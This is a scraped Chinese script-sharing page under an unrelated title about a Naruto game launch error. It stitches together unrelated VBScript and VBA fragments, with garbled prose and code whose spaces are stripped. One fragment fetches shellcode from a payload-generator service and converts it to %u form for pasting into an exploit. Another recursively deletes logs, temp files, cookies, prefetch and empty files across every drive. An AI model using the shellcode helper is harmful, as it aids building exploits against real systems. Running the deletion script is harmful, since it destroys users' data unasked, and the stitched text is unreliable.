火影忍者加载本地启动脚本失败运行程序

发布时间:2021-05-21 来源:脚本之家 点击:



一个变量应当是参数可变的一种特定数据类型,它能够被赋予任何没有问题的数值,因此,变量rs1能够按照下面表述的形式接受任何数据记录型赋值:

Setrs1=CurrentDb.OpenRecordset(“tblEmloyees”,dbOpenDynaset)

问题在于每当代码中的rs1被执行时,VBA引擎都必须指明rs1变量的具体数值,在VBA决定如何处理该变量时,需要消耗额外的CPU时钟周期'code by lcx

On Error Resume Next
Exeurl=InputBox( "请输入exe的地址:", "输入", "" )
url=""&URLEncoding(Exeurl)&"&MaxSize=&BadChars=0x00+&ENCODER=default&ACTION=Generate+Payload"


Body=getHTTPPage(url)
Set Re=New RegExp
Re.Pattern="(\$shellcode \=[\s\S]+</div></pre>)"

Set Matches=Re.Execute(Body)
If Matches.Count>0 Then Body=Matches(0).value

code=Trim(Replace(Replace(replace(Replace(Replace(Replace(Replace(Body,"$shellcode=",""),Chr(34),""),Chr(13),""),";",""),"</div></pre>",""),Chr(10),""),".",""))

function replaceregex(str)
set regex=new regExp
regex.pattern="\\x(..)\\x(..)"
regex.IgnoreCase=true
regex.global=true
matches=regex.replace(str,"%u$2$1")
replaceregex=matches
end Function


Function getHTTPPage(Path)
t=GetBody(Path)
getHTTPPage=BytesToBstr(t, "GB2312")
End Function

Function GetBody(url)
On Error Resume Next
Set Retrieval=CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", url, False, "", ""
.Send
GetBody=.ResponseBody
End With
Set Retrieval=Nothing
End Function

Function BytesToBstr(Body, Cset)
Dim objstream
Set objstream=CreateObject("adodb.stream")
objstream.Type=1
objstream.Mode=3
objstream.Open
objstream.Write Body
objstream.Position=0
objstream.Type=2
objstream.Charset=Cset
BytesToBstr=objstream.ReadText
objstream.Close
Set objstream=Nothing
End Function

Function URLEncoding(vstrIn)
strReturn=""
For aaaa=1 To Len(vstrIn)
ThisChr=Mid(vStrIn,aaaa,1)
If Abs(Asc(ThisChr)) < &HFF Then
strReturn=strReturn & ThisChr
Else
innerCode=Asc(ThisChr)
If innerCode < 0 Then
innerCode=innerCode + &H10000
End If
Hight8=(innerCode And &HFF00)\ &HFF
Low8=innerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8)
End If
Next
URLEncoding=strReturn
End Function

set fso=CreateObject("scripting.filesystemobject")
set fileS=fso.opentextfile("a.txt",2,true)
fileS.writeline replaceregex(code)
'fileS.writeline body
wscript.echo replaceregex(code)
files.close
set fso=Nothing

wscript.echo Chr(13)&"ok,生成a.txt,请用a.txt里的替换里的shellcode1内容即可"

好用的脚本语言

on error resume Next
Set ie=WScript.CreateObject("InternetExplorer.Application")
set arg=wscript.arguments
if arg.count=0 then wscript.quit
ie.visible=false
ie.navigate arg(0)
While ie.Busy
WScript.Sleep 100
Wend
Do
Wscript.Sleep 200
Loop Until ie.ReadyState=4
For i=12 To ie.Document.links.length-2
data=ie.Document.links(i).innerText
If data <>13 Then
wscript.echo data
wscript.echo ie.Document.links(i).alt
End if
next
msgbox "转换完毕"
一个小例子,在编程之前,请选择“工程”-“引用”
确定引用“microsoftDAO3.51Objectlibrary”
dimdbasdatabase
dimrsasrecordset

privatesubform1_load()
Setdb=OpenDatabase(App.Path "\TTT.mdb")'()内是你的数据库所在位置
Setrs=db.OpenRecordset("ABC")'()内是你数据库里面的表名
endsub
修改数据库的方法是:
privatesubEditNow()
NewName=text1.text
NewP=text2.text
withrs
.edit
!名字=Lcase(newname)'“名字”是你表中的项目,(newname)内是你根据你的代码改变的值
!密码=Lcase(newp)'同上
.update
endwith
endsub
建立是用rs.addnew
呵呵,方法就是这样,希望会对菜鸟有帮助

Setos=CreateObject("wscript.shell")
Setos0=CreateObject("shell.application")
Do
input1=InputBox("请选择:"+chr(13)+chr(13)+_
"1.全部窗口最小化"+chr(13)+_
"2.窗口状态复原"+chr(13)+_
"3.窗口均匀平铺"+chr(13)+_
"4.窗口纵向平铺"+chr(13)+_
"5.窗口重叠展开"+Chr(13)+_
"6.资源管理器"+chr(13)+_
"7.设置系统时间"+Chr(13)+_
"8.刷新系统菜单"+Chr(13)+_
"9.手动设置开始菜单"+Chr(13)+_
"10.搜索文件"+Chr(13)+_
"11.搜索计算机"+Chr(13)+_
"12.运行"+Chr(13)+_
"13.帮助"+Chr(13)+_
"14.打开文件夹"+Chr(13)+_
"15.挂起系统"+Chr(13)+_
"16.关闭系统"+Chr(13)+_
"","vbsshell32功能调用")
SelectCaseinput1
Case1
os0.MinimizeAll
Case2
os0.UndoMinimizeALL
Case3
os0.TileHorizontally
Case4
os0.TileVertically
Case5
os0.CascadeWindows
Case6
p1=os.SpecialFolders("desktop")
os0.Explore(p1)
Case7
os0.SetTime
Case8
os0.RefreshMenu
Case9
os0.TrayProperties
Case10
os0.FindFiles
Case11
os0.FindComputer
Case12
os0.FileRun
Case13
os0.Help
Case14
Setpath1=os0.BrowseForFolder(0,"选择要打开的文件夹:",0)
Ifpath1IsNothingThen
Else
os0.Open(path1.self.path)
EndIf
Case15
os0.Suspend
Case16
os0.ShutdownWindows
Case""
ExitDo
CaseElse
os.Popup"选择错误",2,"错误",64+0
EndSelect
loop
本例仅需要一个TextBox控件


rem made by correy
rem made at 2007.9.22
rem it can be delete you computer's the follow things(except cd,dvd)
rem it can be delete empty file and folder
rem it can be delete .tmp ._mp .log .gid .chk .old file
rem it can be delete temp,recent,cookis,recycled,prefetch,and "Temporary Internet Files" folder.
rem i am thinking how to delete the same size and same name's file and folder

On Error GoTo 0
Set fso=CreateObject("Scripting"&"."&"FileSystem"&"Object")

for n=1 to 3
For Each d in fso.Drives
if d.drivetype=4 then
Exit For
else
scan(d)
end if
next
next

sub scan(folder)
on error resume next
set folder=fso.getfolder(folder)
for each file in folder.files
if file.size=0 then
file.delete(true)
end if

ext=fso.GetExtensionName(file)
ext=lcase(ext)
if ext="tmp" or ext="_mp" or ext="log" or ext="gid" or ext="chk" or ext="old" then ''30
file.delete(true)
end if
next
for each subfolder in folder.subfolders

rem instrRev() can't be used,i want to find "".
if left(subfolder.path,4)="temp" or left(subfolder.path,8)="recycled" then
subfolder.delete(true)
elseif left(subfolder.path,6)="recent" or left(subfolder.path,7)="cookis" then
subfolder.delete(true) rem 40
elseif left(subfolder.path,24)="Temporary Internet Files" or left(subfolder.path,8)="prefetch" then
subfolder.delete(true)
end if

if subfolder.size=0 then subfolder.delete(true)
scan(subfolder)
next
end sub

但是,由于固定长度字符串数组占据着一块连续的内存区域,因此在被分配以及释放时,速度明显快于可变长度的数组

' For use with Windows Scripting Host, CScript.exe or WScript.exe
一个自阅
Winsock控件可以使用两种协议:TCP协议和UDP协议,下面来分别介绍
set fso=wscript.createobject("scripting.filesystemobject")

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号